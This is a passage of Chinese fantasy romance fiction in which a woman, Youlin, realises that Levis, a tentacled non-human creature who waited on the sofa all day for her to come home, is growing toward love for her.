尤琳慢慢收回手,内心禁不住升起一点恶劣的想法,想将利维斯那头梳理整齐的发丝全部弄乱,用她的手弄乱。 她将这个近乎变态的想法从心里压了下去,恋恋不舍地搓了搓手指,才望着利维斯,问:“你今天在做什么?” 利维斯尚且带着血色的唇动了动,目光一眨不眨地盯着她,情绪没什么变化地说:“等尤琳回家。” 尤琳心里微微塌陷了一块。 自从将自己带大的爷爷奶奶去世后,家里就再也没有人会怀有期待的,等她回家。 尤琳抿抿唇,嗓音有些嘶哑地说:“我是说,我不在的时候,你在家里都干了什么?” 利维斯依旧平静:“坐在沙发上,等尤琳回家。” 尤琳一时间不知道该怎么回应了。 她瞟了一眼厨房的方向,没有任何开过火的迹象,利维斯不是人,对人类的食物没有那么依赖,他吃饭倒像是模仿人类的一种仪式感,觉得必须要吃,或者说是一种陪伴。 除此之外,从她进门的那一刻起,整个屋子就是冰冷无光的,直到现在才有了温暖的趋势,满地的触手散发着微弱的辉光。 所以尤琳相信,利维斯是真的坐在沙发上等了她一天。 他忍住了冲动,只用视线跟随着她,在一些意外情况下偶尔跳出来以提醒他的存在。 尤琳忽然觉得没必要再试了。 即便怪物不知道“爱”的概念,但他的所作所为,已经在朝这个字靠近了。 原以为第二条路会比逃跑还要艰难,但她现在看来,这简直是极易模式。